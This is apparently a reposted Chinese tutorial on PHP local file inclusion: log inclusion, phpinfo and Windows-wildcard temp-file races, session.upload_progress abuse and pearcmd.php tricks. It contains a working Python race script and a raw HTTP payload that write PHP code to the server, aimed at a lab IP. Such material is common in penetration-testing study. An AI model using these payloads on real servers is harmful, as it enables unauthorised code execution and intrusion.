当前位置:网站首页>本地裸文件包含
本地裸文件包含
2022-06-22 11:26:00 【nigo134】
1.本地日志包含
首先通过各种方法找到web日志,然后利用上面说的include的方式来包含之。
param=include$_GET[a];&a=/home/u244201241/.logs/php_error.log如果找不到web日志,利用条件竞争的方法,包含tmp文件也可以.
2.phpinfo与条件竞争
利用条件:
1.存在phpinfo等可以泄露临时文件名的页面
2.网络条件好,才能让Race Condition成功
利用脚本:
我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务后端是否有处理$_FILES的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉。
以这个利用的条件就是,需要有一个地方能获取到文件名,例如phpinfo。phpinfo页面中会输出这次请求的所有信息,包括$_FILES变量的值,其中包含完整文件名:

3.Windows 通配符妙用
PHP在读取Windows文件时,会使用到FindFirstFileExW这个Win32 API来查找文件,而这个API是支持使用通配符的
- DOS_STAR:即 <,匹配0个以上的字符
- DOS_QM:即>,匹配1个字符
- DOS_DOT:即",匹配点号
这样,我们在Windows下,可以使用上述通配符来替代临时文件名中的随机字符串:C:\Windows\Temp\php<<。(由于Windows内部的一些不太明确的原因,这里一般需要用两个<来匹配多个字符
4.session.upload_progress与Session文件包含
PHP中可以通过session progress功能实现临时文件的写入。这个方法的原理是,PHP在开启了session.upload_progress.enable后,将会把用户上传文件的信息保存在Session中,而PHP的Session默认是保存在文件里的。
利用条件:
1.session.upload_progress.enable 为 ON,默认为ON
2.session.upload_progress.cleanup 为Off,默认为ON
利用脚本:
import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait
target = 'http://192.168.1.162:8080/index.php'
session = requests.session()
flag = 'helloworld'
def upload(e: threading.Event):
files = [
('file', ('load.png', b'a' * 40960, 'image/png')),
]
data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}
while not e.is_set():
requests.post(
target,
data=data,
files=files,
cookies={'PHPSESSID': flag},
)
def write(e: threading.Event):
while not e.is_set():
response = requests.get(
f'{target}?file=/tmp/sess_{flag}',
)
if flag.encode() in response.content:
e.set()
if __name__ == '__main__':
futures = []
event = threading.Event()
pool = ThreadPoolExecutor(15)
for i in range(10):
futures.append(pool.submit(upload, event))
for i in range(5):
futures.append(pool.submit(write, event))
wait(futures)5.pearcmd.php的巧妙利用
利用条件:
1.PHP以Server的形式运行
2.开启了register_argc_argv,默认关闭
利用方法:
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
Host: 192.168.1.162:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close边栏推荐
- 鉴权之cookie、session、JWT
- SPI 与 API的区别
- 图片是是用啥解析的dn的binlog的tso,直接用mysqlbinlog好像没有?
- CF751D Difficult Mountain
- 美团基于 Flink 的实时数仓平台建设新进展
- The R language uses the matchit package for propensity matching analysis and match The data function builds the matched sample set, uses the LM function to build the linear regression model for the ma
- 二叉树的前序、中序、后序遍历的两种实现
- Solution to 94d problem of Niuke practice match
- 【2022暑期】【LeetCode】31. 下一个排列
- Arc128 C convex hull optimized suffix and?
猜你喜欢

微信小程序项目实例——图片处理小工具(自制低配版美图秀秀)

在C#开发中使用第三方组件LambdaParser、DynamicExpresso、Z.Expressions,实现动态解析/求值字符串表达式

“不敢去怀疑代码,又不得不怀疑代码”记一次网络请求超时分析

Configure the GPU version of pytorch and torchvision, and learn the GPU version of torch step

国外LEAD需要干劲、兴趣、钻研、勤奋、缺一不可

Solution to 55e of Niuke challenge
![[2206] An Improved One millisecond Mobile Backbone](/img/75/b040f4b88050937dee57003b62f7b0.png)
[2206] An Improved One millisecond Mobile Backbone

配置GPU版本的pytorch和torchvision,初学GPU版本torch踩坑

Security risks exist in open source code: an average of 49 vulnerabilities exist in a project

Add custom fields to the time synchronization message based on uavcan protocol in Px4 code learning
随机推荐
什么是同源???跨域错误???如何解决???
CF736 D2
IO操作案例合集
Attack and defense drill | threat hunting practice case based on att & CK
Reader case of IO
Development technology of NFT trading platform digital collection system
【2022暑期】【LeetCode】31. 下一个排列
Pychart debugging is stuck and connected appears
Kruskal reconstruction tree
Collection of IO operation cases
Dirichlet prefix and study notes
R语言基于with函数对指定的协变量执行双样本t检验、t.test函数对不同分组对应的协变量的均值进行Welch双样本t检验分析、双独立样本t检验
两两交换链表中的节点[单向链表不断链原则]
2022 the latest software testing classic summarized by major manufacturers. After reading it, I'm not afraid I won't get an offer
迪利克雷前缀和学习笔记
牛客挑战赛53E题解 & 带花树学习笔记
Exchange the nodes in the linked list in pairs [the principle of one-way linked list without chain]
Install pyGame
NOI使用案例
二叉树的前序、中序、后序遍历的两种实现